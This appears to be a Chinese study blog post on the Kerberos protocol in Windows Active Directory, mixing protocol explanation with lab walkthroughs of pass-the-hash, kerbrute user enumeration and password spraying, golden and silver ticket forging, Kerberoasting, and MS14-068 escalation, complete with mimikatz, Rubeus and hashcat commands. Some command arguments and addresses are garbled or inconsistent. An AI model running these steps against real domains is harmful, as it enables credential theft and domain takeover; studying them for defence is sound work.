kerberos認證協議學習

環境#

目前環境有兩台機器，
其一為 Windows2008，IP 為 192.168.1.3 是域 redream 的成員。
..........................................
‍
其二為 Windows2016，為域控制器。IP 為 192.168.1.2

‍

主機	用戶	IP
域控（2016）	Administrator	192.169.1.2
域主機（2008）	user1	192.168.1.3

‍

kerberos 協議#

Kerberos 協議是一種計算機網絡授權協議，用來在非安全網絡中，對個人通信以安全的手段進行身份認證。其設計目標是通過密鑰系統為客戶機與伺服器應用程序提供強大的認證服務。該協議的認證過程的實現不依賴於主機操作系統的認證，無需基於主機地址的信任，不要求網絡上所有主機的物理安全，並假定網絡上傳送的數據包可以被任意地讀取、修改和插入數據。在以上情況下， Kerberos 作為一種可信任的第三方認證服務，是通過傳統的密碼技術（如：共享密鑰）執行認證服務的。Kerberos 協議在內網域滲透領域中至關重要，白銀票據、黃金票據、攻擊域控等都離不開 Kerberos 協議。
為了讓閣下能夠更輕鬆地理解後文對認證原理的講解，你需要先了解以下幾個關鍵角色：

角色	作用
Domain Controller	域控制器，簡稱 DC，一台計算機，實現用戶、計算機的統一管理。
Key Distribution Center	密鑰分發中心，簡稱 KDC，默認安裝在域控裡，包括 AS 和 TGS。
Authentication Service	身份驗證服務，簡稱 AS，用於 KDC 對 Client 認證。
Ticket Granting Service	票據授予服務，簡稱 TGS，用於 KDC 向 Client 和 Server 分發 Session Key（臨時秘鑰）。
Active Directory	活動目錄，簡稱 AD，用於存儲用戶、用戶組、域相關的信息。
Client	客戶端，指用戶。
Server	伺服端，可能是某台計算機，也可能是某個服務。

‍

kerberos 概念名詞解釋#

‍
(1) Client: 訪問服務的客戶機 (2) Server: 提供服務的伺服器 (3) KDC (Key Distribution Center): 密鑰分發中心 (4) KDC 中分成兩個部分 Service 和 Ticket Granting Service Authentication Service (AS): 身份驗證服務 Ticket Granting Service (TGS): 票據授予服務 AS 和 TGS 如下： Authentication Service：AS 的作用就是驗證 Client 端的身份，驗證通過之後，AS 就會給 TGT 票據 (Ticket Granting Ticket) 給 Client. Ticket-granting cookie (TGC): 存放用戶身份認證憑證的 cookie，在瀏覽器和 CAS Server 間通訊時使用，是 CAS Server 用來明確用戶身份的憑證。TGT 封裝了 TGC 值以及此 Cookie 值對應的用戶信息. Ticket-granting ticket (TGT)對象的 ID 就是 TGC 的值，在伺服器端，通過 TGC 查詢 TGT. Ticket Granting Service (TGS)：TGS 的作用是通過 AS 發送給 Client 的 TGT 換取訪問 Server 端的 ST (Server Ticket) 給 Client. SEerver Ticket (ST)服務票據，由 TGS 服務發布. (5) Active Directory (AD): 活動目錄 (6) Domain Controller (DC): 域控制器 (7) Ticket-granting cookie (TGC): 存放用戶身份認證憑證的 cookie，在瀏覽器和 CAS Server 間通訊時使用，是 CAS Server 用來明確用戶身份的憑證。TGT 封裝了 TGC 值以及此 Cookie 值對應的用戶信息. (8) Ticket-granting ticket (TGT)對象的 ID 就是 TGC 的值，在伺服器端，通過 TGC 查詢 TGT.
打個比方：當 whoami 要和 bunny 進行通信的時候，whoami 就需要向 bunny 證明自己是 whoami，直接的方式就是 whoami 用二人之間的秘密做秘鑰加密明文文字生成密文，把密文和明文文字一塊發送給 bunny，bunny 再用秘密解密得到明文，把明文和明文文字進行對比，若一致，則證明對方是 whoami。
但是網絡中，密文和文字很有可能被竊取，並且只要時間足夠，總能破解得到秘鑰。所以不能使用這種長期有效的秘鑰，要改為短期的臨時秘鑰。那麼這個臨時秘鑰就需要一個第三方可信任的機構來提供，即 KDC（Key Distribution Center）密鑰分發中心。
Kerberos 認證的過程形象地比喻如下：
疫情期間，小明去拿一個重要包裹，由於包裹是來自海外的，所以需要嚴格登記：（1）拿包裹的時候，為了證明自己是合法公民，小明先把身份證給工作人員（2）快遞點的身份認證系統通過身份認證後，給小明一張身份認證通過證明（3）小明拿著身份認證通過證明，來到快遞收發處等一張拿快遞的號碼牌（4）售票處給了張號碼牌（5）小明拿著號碼牌拿快遞去了（6）在拿快遞時，小明拿出自己的身份認證材料給快遞點的工作人員，工作人員向快遞公司的數據管理中心發了消息，問問小明是不是有包裹要拿（7）數據管理中心將小明的快遞單號，身份信息等發了過來（8）工作人員將數據管理中心發來的信息與小明給的材料對比，得出小明是好公民，有一個重要包裹，於是帶著小明來到倉庫的金庫，把裝有老魔杖的包裹給了小明
在 Kerboeros 協議認證過程中，會用到兩個基礎認證模塊，分別是 AS_REQ&AS_REP 和 TGS_REQ&TGS_REP，以及在認證過程中可能會使用到的 S4U 和 PAC 這兩個認證模塊。

kerberos 認證的問題#

上面說了，因為 kerberos 協議的實現，需要三方的參與，分別如下：
‍
1.client 訪問服務的客戶機 2.Server 提供服務的伺服器 3.KDC (Key Distribution Center) 密鑰分發中心 KDC 服務會默認安裝在一個域的域控中，所以可以直接理解為，AD 與 KDC 均為域控制器，KDC 服務框架中包含一個 KRBTGT 賬戶，它是在創建域時系統自動創建的一個賬號。
‍

kerberos 認證協議原理流程#

Kerberos 認證過程如下圖所示

‍
下面講一下詳細的認證步驟，大概分為三個階段：

AS_REQ & AS_REP
TGS_REQ & TGS_REP
AP-REQ & AP-REP

‍
其中：KDC 中有 AS 認證服務與 TGS 認證服務

CLient 向 KDC 的 AS 認證服務請求 TGT 票據，此處是 AS_REQ 流程
認證通過後返回 TGT 給 Client，Client 得到 KDC 發放的 TGT（Ticket Granting Ticket）票據。此處是 AS_REP 流程
Client 繼續拿著 TGT 票據請求 DC 訪問 Server，TGS 通過 Client 消息中的 TGT 票據請求 ST 的服務票據（Service Ticket）。此處是 TGS_REQ 流程
Client 通過了 TGS 認證服務後，TGS 將會發放 ST 服務票據給 Client。此處是 TGS_REP 流程。
Client 得到 ST 票據後，再去向 Server 請求服務。此處是 AP-REQ 流程。
server 拿到 PAC 詢問 KDC，client 是否有權限訪問資源
KDC 將 clinet 的權限信息發送給 server
server 根據 KDC 返回的權限信息做對比，判斷 client 是否有權限訪問該服務，並把結果返回給 client。此處是 AP_REP 流程。

注：（6）（7）兩步不一定發生，需要將目標主機配置為驗證 KDC PAC 驗證。

‍
域中每個用戶的 Ticket 都是由 krbtgt 的密碼 Hash 來計算生成的，因此只要我們拿到了 krbtgt 的密碼 Hash, 就可以隨意偽造 Ticket, 進而使用 Ticket 登錄域控制器，使用 krbtgt 用戶 hash 生成的票據被稱為 Golden Ticket, 此類攻擊方法被稱為票據傳遞攻擊。
‍

AS_REQ & AS_REP 分析#

‍
分析 AS-REQ 的數據包
AS-REQ：當某個域用戶試圖訪問域中的某個服務，於是輸入用戶名和密碼，本機 Kerberos 服務會向 KDC 的 AS 認證服務發送一個 AS-REQ 認證請求。該請求包中包含：請求用戶名，客戶端主機名，加密類型和 Autherticator (用戶 NTLM Hash 加密的時間戳) 以及一些信息。
Client 向 KDC 發起 AS_REQ 請求憑據是用戶 hash 加密的時間戳。請求憑據放在 PA_DATA 裡面。
我們這裡直接抓包來看，讓域內機器 user1 使用用戶 test 來登錄。
‍

1.AS-REQ#

‍
AS 獲取用戶名之後，獲取對應的 ntlm 值，通過加密的方法加密數據信息，並且驗證時間戳，之後生成隨機字符串 Session Key，使用用戶的 ntlm 值加密 Session Key，使用 krbtgt 用戶的 ntlm 加密 Session Key 和客戶端信息，一起返回客戶端
Send=user_NTML_Hash(Session Key)+krbtgt_NTML_Hash(Session Key+client_info1)[TGT]
AS-REQ 存在兩種包
一種是不存在 pA-ENC-TIMESTAMP 字段的，另外一種是前面存在密碼字段的

‍

2.AS-REQ 不同的包#

‍

用戶名和密碼正確的包#

AS-REP：Client 發送 AS_REQ，請求憑據是用戶 hash 加密的時間戳。請求憑據放在 PA_DATA 裡面。 當 KDC 中的 AS 認證服務收到後，在 AS 伺服器中有用戶 hash，使用用戶 hash 進行解密，獲得時間戳 ，如果 解密成功，並且時間戳在五分鐘之內 ，那麼 預認證通過 。接著 AS 認證服務將會向 Client 發送響應包，響應包中包括krbtgt 用戶的 NTML hash 加密後的 TGT 票據以及用戶 NTML Hash 加密的 Login Session key 和其他信息。
ticket 中的 enc-part 是由 krbtgt 的密碼 hash 加密生成的。如果我們擁有 krbtgt 的 hash，便可以自製 ticket，發起黃金票據攻擊 Login Session Key 使用用戶 NTML Hash 加密，作用是用於是用於確保客戶端和 KDC 下一階段之間通信安全，作為下一階段的認證密鑰
‍
在這一階段，Client 與 KDC 之間的交互在於 AS 認證服務，主要是為了獲得 TGT 認證票據，以及 Login Session Key，經過該階段後，Client 將會使用自身密碼的 NTML hash 解密 Login Session Key 得到原始的 Login Session Key。然後它會在本地緩存 TGT 票據和原始 Login Session Key。
‍

用戶名不正確的包#

‍

用戶名正確的包#

‍
‍

密碼不正確的包#

‍

AS-REQ 流程的的攻擊面#

通過上面的抓包分析可以得出：
1.HASH 傳遞
2. 域內用戶枚舉
3. 密碼噴灑

HASH 傳遞攻擊方法#

在 AS-REQ 階段，是用用戶密碼 Hash 加密的 Authenticator，所以也就造成了 hash 傳遞。

mimikatz 進行 hash 傳遞

這裡 mimikatz 獲取 hash 導出到 log 日誌中，命令如下
mimikatz log privilege::debug sekurlsa::ekeys
‍

‍
抓取 administrator 的 ntlm 哈希
‍
privilege::debug sekurlsa::logonpasswords
‍

‍

執行傳遞

‍
sekurlsa::pth /user /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c

‍

KB2871997 補丁的傳遞方法

安裝 KB2871997 這個補丁之後，只能用管理員賬戶進行 pass hash

PTK（pass the key）

獲取 aes-key:
privilege::debug sekurlsa::ekeys

注入 aes-key:
sekurlsa::pth /user /domain.com /aes256

‍
‍

域內用戶枚舉#

AS-REQ 的 cname 值，當用戶不存在時，返回包提示錯誤，所以造成了改攻擊方式。

攻擊方法

使用 kerbrute 工具：
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提需要 DC 需要開啟 kerberos 88 端口

使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
user.txt 是用戶名的字典

成功爆出用戶名。

原理：

使用 kerbrute 進行錯誤枚舉的原理就是 kerberos 有三種錯誤代碼：
KDC_ERR_PREAUTH_REQUIRED - 需要額外的預認證（啟用）
KDC_ERR_CLIENT_REVOKED - 客戶端憑證已被吊銷（禁用）
KDC_ERR_C_PRINCIPAL_UNKNOWN - 在 Kerberos 數據庫中找不到客戶端（不存在）
在 DC 抓包可以看到有 4 個 UNKNOWN，1 個 REQUIRED，證明有這個用戶名存在

‍
‍

密碼噴灑#

並且當用戶名存在，密碼正確和錯誤時，返回包也不一樣，所以可以進行用戶名密碼爆破。這種針對所有用戶的自動密碼猜測通常是為了避免帳戶被鎖定，因為針對同一用戶的連續密碼猜測會導致帳戶被鎖定。所以只有對所有用戶同時執行特定的密碼登錄嘗試，才能增加破解的概率，消除帳戶被鎖定的概率
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..

‍

原理：#

密碼同樣存在三種錯誤代碼
KDC_ERR_PREAUTH_REQUIRED - 需要額外的預認證（啟用）
KDC_ERR_CLIENT_REVOKED - 客戶端憑證已被吊銷（禁用）
KDC_ERR_C_PRINCIPAL_UNKNOWN - 在 Kerberos 數據庫中找不到客戶端（不存在）
同樣在 DC 抓包，有 4 個 UNKNOWN，1 個 REQUIRED

‍
‍
‍

AS-REP 數據包#

AS-REP：Client 發送 AS_REQ，請求憑據是用戶 hash 加密的時間戳。請求憑據放在 PA_DATA 裡面。 當 KDC 中的 AS 認證服務收到後，在 AS 伺服器中有用戶 hash，使用用戶 hash 進行解密，獲得時間戳 ，如果 解密成功，並且時間戳在五分鐘之內 ，那麼 預認證通過 。接著 AS 認證服務將會向 Client 發送響應包，響應包中包括krbtgt 用戶的 NTML hash 加密後的 TGT 票據以及 用戶 NTML Hash 加密的 Login Session key 和其他信息 。

ticket 中的 enc-part 是由 krbtgt 的密碼 hash 加密生成的。如果我們擁有 krbtgt 的 hash，便可以自製 ticket，發起黃金票據攻擊
Login Session Key 使用用戶 NTML Hash 加密，作用是用於是用於確保客戶端和 KDC 下一階段之間通信安全，作為下一階段的認證密鑰
在 enc-part 裡面最重要的字段是 Login session key，作為下階段的認證密鑰。
AS-REP 中最核心的東西就是 Login session-key 和加密的 ticket。正常我們用工具生成的憑據是 .ccache 和 .kirbi 後綴的，用 mimikatz，kekeo，rubeus 生成的憑據是以 .kirbi 後綴的，impacket 生成的憑據的後綴是 .ccache 。兩種票據主要包含的都是 Login session-key 和加密的 ticket，因此可以相互轉化。
‍

AS-REP 的攻擊面#

黃金票據#

在 AS-REP 階段，由於返回的 TGT 認購權證是由 krbtgt 用戶的密碼 Hash 加密的，因此如果我們擁有 krbtgt 的 hash 就可以自己製作一個 TGT 認購權證，這就造成了黃金票據攻擊
偽造黃金票據的條件：
我們偽造憑證，需要以下信息：

域名
域的 SID 值
域的 KRBTGT 賬號的 HASH
偽造的域管理員用戶名

‍

黃金票據攻擊實踐#

收集域信息

netconfig workstation

‍
可以獲得域是 redtem.com，用戶名是 YG1。
獲得域控的 IP 也很簡單，ping 一下即可，或者
nltest/dsgetdc: 域名
nltest/dsgetdc.com

獲取到域控 IP 為 192.168.1.2

導出 HASH

privilege::debug lsadump::dcsync /domain.com /all /csv
用管理權限使用 mimikatz.exe 導出用戶的 krbtgt 的 hash

fb2227f9e9e6c9ad490eb1c2fa6a8625

收集 Krbtgt 的 SID 信息

lsadump::dcsync /domain.com /user 或者 wmic useraccount get name,sid

S-1-5-21-767623950-3225260823-3670188588
fb2227f9e9e6c9ad490ebic2fa6a8625
獲取到 SID 和 HASH 之後就可以偽造票據了，偽造之前先看一下有沒有緩存票據
klist / 查看票據

klist purge / 清除票據或者 mimitakzt kerberos::purge

‍

利用 mimikatz 生成黃金票據

mimikatz.exe "kerberos::golden /user /domain.com /sid /krbtgt /ticket.kirbi" exit /admin：偽造的用戶名（任意） /domain：域名稱 /sid：sid 值，注意要去掉最後一個值 - 後面的值 /krbtgt：krbtgt 的 hash 值 /ticket：生成的票據名稱
或者
kerberos::golden /user /domain.com /sid /krbtgt /ptt #生成票據並導入

‍
有了票據之後，拿一個域用戶來測試一下票據能否正常使用。
‍

查看導入的票據

kerberos::purge kerberos::ptt ticket.kirbi

‍

查詢 DC 機器 C 盤目錄

dir \dc.redteam.com\c$ dir \ 計算機名。域名 \c$

‍
DC 火絨攔截了 IPC，所以沒訪問成功，關掉後正常，至此，黃金票據利用成功。
‍

TGS_REQ&TGS_REP 分析#

Client 與 TGS 之間認證使用 TGS_REQ&TGS_REP 模塊
‍
‍
Client 在拿到 TGT 和 Login Session Key 之後，下一步的認證交互在於 KDC 中的 TGS 認證服務 ，主要目的是為了獲取 ST 服務票據 ，因為當 Client 需要訪問某伺服器中的某服務時，需要 "門票" --ST 服務票據
這一階段，微軟引進了兩個擴展 S4U2SELF 和 S4U2PROXY。

TGS-REQ 數據包分析#

該數據包中的主要內容為：客戶端信息，Authenticator (Login Session Key 加密的時間戳)、TGT 認證權證 (padata 下 ap-req 下的 ticket) 以及訪問的服務名等。

padata 部分：

在 padata 中有很重要的一部分叫做 AP-REQ，這是 TGS-REQ 中必須有的數據， 這部分會攜帶 AS-REP 裡面獲取到的 TGT 票據 ， KDC 檢驗 TGT 票據，如果票據正確，返回 ST 票據 。

‍

TGS-REQ 請求包中的 authenticator 就是 AS-REP 響應包返回的 Login Session key 加密的時間戳
在 req-body 中

padding:0 kdc-options: 用於與 KDC 約定一些選項設置 realm: 域名 sname: 這裡是要請求的服務 till: 到期時間 rebeus 和 kekeo 都是 20370913024805Z，可用於作為特徵值檢驗用 nonce: 隨機生成數 kekeo/mimikatz 的 nonce 為 12381973，rubeus 的 nonce 為 1818848256, 可用於作為特徵值檢驗用 etype: 加密類型

TGS-REP 數據包分析#

TGS-REP：當 TGS 收到請求後，將會檢查自身是否存在客戶端所請求的服務，如果服務存在， 通過 krbtgt 用戶的 NTML hash 解密 TGT 並且得到 Login Session Key ，通過 Login Session Key 解密 Authenticator 。

‍
這一系列解密成功的話，將會驗證對方的身份，驗證時間戳是否在範圍內，並且檢查 TG 中的時間戳是否過期，且原始地址是否和 TGT 中保存的地址相同
完成認證後，TGS 生成ST 票據（包括客戶端信息和原始 Server Session key，整個 ST 服務票據使用該服務的 NTML hash 加密以及一個 AS-REP 返回的 Login-Session-Key 加密的 Server Session Key （也就是最外層 enc-part 部分)。並且會為該客戶端生成 ST 服務票據。這兩個將在響應包中發送給 Client。

ST 服務票據主要包含兩方面的內容：客戶端用戶信息和原始 Service Session Key，整個 ST 服務票據用該服務的 NTLM Hash 進行加密。最終 Service Session Key 和 ST 服務票據發送給客戶端。
PS: 在這一步中，不論用戶是否有權限訪問服務，只要 TGT 解密無誤，都將返回 ST 服務票據。任何一個用戶，只要 hash 正確，就可以請求域內任何一個服務的票據，這也是 kerberoasting 能利用的原因。
enc-part：這部分是用請求服務的密碼 Hash 加密的。因此如果我們擁有服務的密碼 Hash，那麼我們就可以自己製作一個 ST 服務票據，這就造成了白銀票據攻擊。也正因為該票據是用請求服務的密碼 Hash 加密的，所以當我們得到了 ST 服務票據，可以嘗試爆破 enc_part，來得到服務的密碼 Hash。這也就造成了 kerberoast 攻擊。

TGS-REP 的攻擊面#

1.Kerberoast 攻擊

概念：就是攻擊者為了獲取目標服務的訪問權限，而設法破解 Kerberos 服務票據並重寫它們的過程。這是紅隊當中非常常見的一種攻擊手法，因為它不需要與服務目標服務進行任何交互，並且可以使用合法的活動目錄訪問來請求和導出可以離線破解的服務票據，以獲取到最終的明文密碼。之所以出現這種情況，是因為服務票據使用服務帳戶的散列（NTLM）進行加密，所以任何域用戶都可以從服務轉儲散列，而無需將 shell 引入運行該服務的系統中。
‍
攻擊者通常會選擇那些可能設置了弱密，碼破解成功率較高的票據來嘗試破解。一旦攻擊者成功破解出了票據，他們有時不僅僅獲取的只是服務訪問權限，如果服務被配置為在高權限下運行，那麼整個域都將可能被攻擊者拿下。這些票據可以通過考慮多種因素來識別，例如：
SPNs 綁定到域用戶賬戶
最後一次密碼設置（Password last set）
密碼過期時間
最後一次登錄（Last logon）
具體來說，Kerberoast 攻擊涉及以下五個步驟：
服務主體名稱（SPN）發現
請求服務票據
導出服務票據
破解服務票據
重寫服務票據 & RAM 注入
‍
原理：

知道相關服務的 SPN 後，可以用 SPN 申請一張 ST 票據。在 kerberos 協議的第 4 步，用戶會收到由 server 實例的 NTLM hash 加密生成的 ST 票據，加密算法為 RC4-HMAC-MD5，嘗試穷舉 hash，模擬加密過程，進行破解（注意和銀票的區別）。
任何域用戶都可以合法的從 AD 中提取服務賬戶憑據，不需要與服務目標服務進行任何交互，大多數操作都是離線完成，不會觸發告警。
服務賬戶密碼未設置過期時間，或者與域普通用戶密碼相同以及賬號權限過高等都是問題。
域內具有 Read servicePrincipalName 和 Write serverPrincipalName 的域用戶具有註冊 SPN 的權利。

流程：

找到有價值的 SPN（需要滿足的條件：該 SPN 註冊在域用戶帳戶下並且域用戶賬戶的權限較高）
請求 TGS
導出 ST
暴力破解
服務票據重寫
權限維持

前面沒有了解到 SPN，所以先了解一下 SPN 之後再回頭來做實踐。

SPN#

概念：
SPN，全名為：Service Principal Names，即 “服務主體名稱”。它是域中服務的唯一標識，每個 Kerberos 服務都必須要有一個 SPN，服務在加入域時，會自動註冊一個 SPN。如果未進行 SPN 註冊或註冊失敗（名稱不唯一），則 Windows 安全層無法確定與 SPN 相關聯的帳戶，因而無法使用 Kerberos 身份驗證。
格式：
SPN 的格式為：/:/，其中 service class 和 host 為必需參數。

service class 為服務類型名稱，你可以使用除 “/” 之外的任何名稱（因為 SPN 使用它作為分隔符），只需要保證它是唯一的名稱，但是一般建議使用通用名稱，如 “www”，“ldap” 等
host 為運行服務的主機名，可以使用 DNS 名（如：os.hacker.com）或 NetBIOS 名（如：os），但要注意的是因為 NetBIOS 名可能會在林中不唯一，會導致 SPN 註冊失敗。
host 為可選參數，同一服務在同一 host 上運行時，使用此來加以區別。服務僅使用默認端口時（如 80），可以省略。
service name 為服務實例名稱，不太重要，微軟有個這樣的例子/host1/CN=hrdb,OU=mktg,DC=example,DC=com

一個 SPN 命名實例：MySQLSvc/os.hacker.com:3306 或 MySQLSvc/hacker 等。
分類：

當一個服務的權限為 Local System 或 Network Service，則 SPN 會自動註冊在機器帳戶下。
當一個服務的權限為一域用戶，則 SPN 需要手動註冊在域用戶帳戶下。

驗證：
在 Kerberos 驗證第 3 步中，client 向 TGS 發送 TGT 的同時，發送需要訪問服務的 SPN；在第 4 步，TGS 會查詢對應 SPN 的服務記錄，找到服務後開始驗證 TGT，最後 TGS 生成對應 SPN 服務的 ST 票據。
‍

查詢 SPN#

對域控制器發起 LDAP 查詢，這是正常 kerberos 票據行為的一部分，因此查詢 SPN 的操作很難被檢測。

使用 SetSPN#

Win7 和 Windows Server2008 自帶的工具
查看當前域內的所有 SPN：
‍
setspn.exe -q /

查看 redteam.com 域內的所有 SPN：
setspn.exe -T redteam.com -q /

‍

實現 Kerberoasting 攻擊的前提#

對於 kerberos 協議認證過程中返回的 tgs_reply，在已知加密算法的前提下，我們可以嘗試穷舉口令。( 服務密碼一般默認為弱密碼 )
Windows 系統通過 SPN 查詢獲得服務和服務實例帳戶的對應關係
域內的主機都能查詢 SPN。
域內的任何用戶都可以向域內的任何服務請求 TGS。

‍

申請 ST 票據#

前面提到過尋找有價值的 SPN 服務，那麼什麼是有價值的呢
可以遠程連接，高權限 ，因為計算機域帳戶不可以遠程連接，所以我們目標一般都是域用戶。
使用 Rubeus 工具
https://github.com/GhostPack/Rubeus
這是一個專門針對 Kerberos 的工具包。
#依賴.net 環境 Rubeus.exe kerberoast

將哈希保存為 hash.txt 文件，放到 hashcat 的目錄下。使用命令
‍
hashcat64.exe -m 13100 hash.txt pass.txt

使用 Powershell 命令請求

使用微軟提供的類 KerberosRequestorSecurityToken 發起 Kerberos 請求，申請指定 SPN 的 ST 票據。Kerberos 協議中請求的票據會保存在內存中，可以通過 klist 命令查看當前會話存儲的 kerberos 票據
#請求服務票據 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN 名" #New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/WIN-7.bean.testlab:1433" #列出服務票據 klist

使用 mimikatz 請求

申請指定 SPN 的 ST 票據
#請求服務票據 kerberos::ask /target/WIN-7.bean.testlab:1433 #列出服務票據 kerberos::list #清除所有票據 kerberos::purge

使用 Impacket 中的 GetUserSPNs 請求

需要提供域賬戶密碼才能使用，該腳本會直接輸出 hashcat 格式的服務票據，可以直接使用 hashcat 進行爆破
#GetUserSPNs.exe -request -dc-ip x.x.x.x 域名稱 / 域用戶：密碼 GetUserSPNs.exe -request -dc-ip 172.16.1.1 bean.testlab/test > r.txt

導出服務票據#

查看票據列表可用一些命令：
#cmd klist #mimikatz mimikatz.exe "kerberos::list" #MSF load kiwi kerberos_ticket_list 或 load kiwi kiwi_cmd kerberos::lists
導出：
#mimikatz 導出後綴為.kirbi mimikatz.exe "kerberos::list /export" "exit" #Empire 下的 Invoke-Kerberos.ps1 powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat}"

暴力破解#

tgsrepcrack.py
kerberoast 工具包中的 tgsrepcrack.py，可直接對 mimikatz 導出.kirbi 文件進行破解
python tgsrepcrack.py pass.txt xx.kirbi

‍
tgscrack
下載地址：tgscrack
python2 extractServiceTicketParts.py xxx.kirbi > hash.txt go run tgscrack.go -hashfile hash.txt -wordlist pass.txt

‍
hashcat
前面好幾種導出 hash 的方式，都可以使用 hashcat 來爆破
hashcat.exe -m 13100 hash.txt pass.txt

Image

服務票據重寫 & RAM 注入

ST 票據使用服務密碼的 NTLM 哈希簽名。如果票據散列已被破解，那麼可以使用 Kerberoast python 腳本重寫票據。這將允許在服務被訪問時模擬任何域用戶或偽造賬戶。此外，提權也是可能的，因為用戶可以被添加到諸如域管理員的高權限組中。
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
使用以下 Mimikatz 命令將新票據重新注入內存，以便通過 Kerberos 協議對目標服務執行身份驗證。
kerberos::ptt PENTESTLAB.kirbi

參考

域滲透 - SPN
‍

白銀票據#

在 TGS-REP 階段，TGS_REP 裡面的 ticket 的 enc-part 是使用服務的 hash 進行加密的，如果我們擁有服務的 hash，就可以給我們自己簽發任意用戶的 TGS 票據，這個票據也被稱為白銀票據。相較於黃金票據，白銀票據使用要訪問服務的 hash，而不是 krbtgt 的 hash，由於生成的是 TGS 票據，不需要跟域控打交道，所以可以繞過域控制器，很少留下日誌。而黃金票據在利用過程中由 KDC 頒發 TGT，並且在生成偽造的 TGT 得 20 分鐘內，TGS 不會對該 TGT 的真偽進行效驗。如果說黃金票據是偽造的 TGT, 那麼白銀票據就是偽造的 ST，所以我們只需要知道 Server 用戶的 Hash 就可以偽造出一個 ST, 且不會經過 KDC, 但是白銀票據只能訪問特定服務。但是要注意的一點是，偽造的白銀票據沒有帶有有效 KDC 簽名的 PAC。如果將目標主機配置為驗證 KDC PAC 簽名，則銀票將不起作用。

白銀票據的特點#

1. 白銀票據是一個有效的票據授予服務（TGS）Kerberos 票據，因為 Kerberos 驗證服務運行的每台伺服器都對服務主體名稱的服務帳戶進行加密和簽名。
2. 黃金票據是偽造 TGT 並且有效的獲得任何 Kerberos 服務，而白銀票據是偽造 TGS。這意味著白銀票據僅限於特定伺服器上的任何服務。
3. 大多數服務不驗證 PAC（通過將 PAC 校驗和發送到域控制器進行 PAC 驗證），因此使用服務帳戶密碼哈希生成的有效 TGS 可以完全偽造 PAC
4. 攻擊者需要服務帳戶密碼哈希值
5.TGS 是偽造的，所以沒有和 TGT 通信，意味著 DC 從驗證過。
6. 任何事件日誌都在目標伺服器上。

白銀票據和黃金票據區別

獲取的權限不同
金票：偽造的 TGT，可以獲取任意 Kerberos 的訪問權限
銀票：偽造的 ST，只能訪問指定的服務，如 CIFS
認證流程不同
金票：同 KDC 交互，但不同 AS 交互
銀票：不同 KDC 交互，直接訪問 Server
加密方式不同
金票：由 krbtgt NTLM Hash 加密
銀票：由服務帳戶 NTLM Hash 加密

白銀票據實踐

我們偽造憑證，需要以下信息

要偽造的域用戶 (任意用戶或者不存在的用戶，這裡我們一般填寫域管理員賬戶)
域名
域的 SID 值 (就是域成員 SID 值去掉最後的一節)
目標服務的 FQDN（FQDN：全限定域名，同時帶有主機名和域名的名稱。如：dc.bean.testlab）
可利用的服務
域服務帳戶 NTLM 哈希
只有 KDC 能製作和查看 PAC。

白銀票據的服務列表#

服務名稱同時需要的服務 WMI HOST、RPCSS PowerShell Remoting HOST、HTTP WinRM HOST、HTTP Scheduled Tasks HOST Windows File Share CIFS LDAP LDAP Windows Remote Server RPCSS、LDAP、CIFS
除上述外目標機器不能開啟 PAC（特權屬性證書）驗證，PAC 用於客戶端和伺服端交互階段用於鑒權，帶有簽名，如果沒有 krbtgt 的 hash 以及服務的 hash 就沒辦法偽造有效的簽名。（MS14-068 可繞過）
#域控下執行 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt #也可使用 dcsync 在其他機器的域管賬戶下執行，使用者填域控的機器名 mimikatz.exe "privilege::debug" "lsadump::dcsync /domain.testlab /user$" "exit" > 1.txt

e49051446e697bb3f91bac430da93c3e
S-1-5-21-767623950-3225260823-3670188588

偽造 CIFS#

偽造 CIFS 權限，CIFS 常用於主機之間的文件共享
#mimikatz.exe "kerberos::golden /domain: 域名 /sid: 域 SID /target: 目標的 FQDN /service: 服務類型 /rc4 /user: 偽造的用戶名 /ptt" mimikatz.exe ”kerberos::golden /domain.com /sid /target.redteam.com /service /rc4 /user /ptt“ * /domain：域名 * /sid ；sid 值 * /target：域控制器全稱 * /service：需要指定相關的服務名，此處為 cifs * /rc4: 域控的計算機賬戶 ntlm hash * /user：要偽造的用戶名，任意寫 dir \dc\c$

訪問 DC 成功。
‍
‍
‍

Kerberos 協議的各階段攻擊手法#

Image
‍

MS14-068 域提權#

一、漏洞說明
改漏洞可能允許攻擊者將未經授權的域用戶賬戶的權限，提權到域管理員的權限。微軟官方解釋: https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2014/ms14-068
二、漏洞原理
Kerberos 認證原理:https://www.cnblogs.com/huamingao/p/7267423.html 服務票據是客戶端直接發送給伺服器，並請求服務資源的。如果伺服器沒有向域控 dc 驗證 pac 的話，那麼客戶端可以偽造域管的權限來訪問伺服器。
三、漏洞利用前提
1. 域控沒有打 MS14-068 的補丁
2. 攻擊者拿下了一台域內的普通計算機，並獲得普通域用戶以及密碼 /hash 值，以及用戶的 suid
四、工具下載
Ms14-068.exe 下載地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec 下載地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
mimikatz 下載地址:https://github.com/gentilkiwi/mimikatz/releases
‍
五、漏洞利用
如果當前用戶為域用戶
可以直接用 whoami /user 獲取 sid

如果不是只是本地用戶可以用 mimikatz 抓取本地的域用戶密碼
記住 mimikatz 要有管理權限不然無法抓取內存密碼，可以以管理權限運行。

利用 ms14-068.exe 工具生成偽造的 kerberos 協議認證證書#

MS14-068.exe -u @ -p -s -d
ms-14-068.exe -u 域用戶 @域控名 -p 域用戶密碼 -s 域用戶 sid -d 域 ip

利用 mimikatz.exe 將證書寫入，從而提升為域管理員
kerberos::ptc 你的證書名字
kerberos::ptc TGT_zhangsan@ggyao.com.ccache
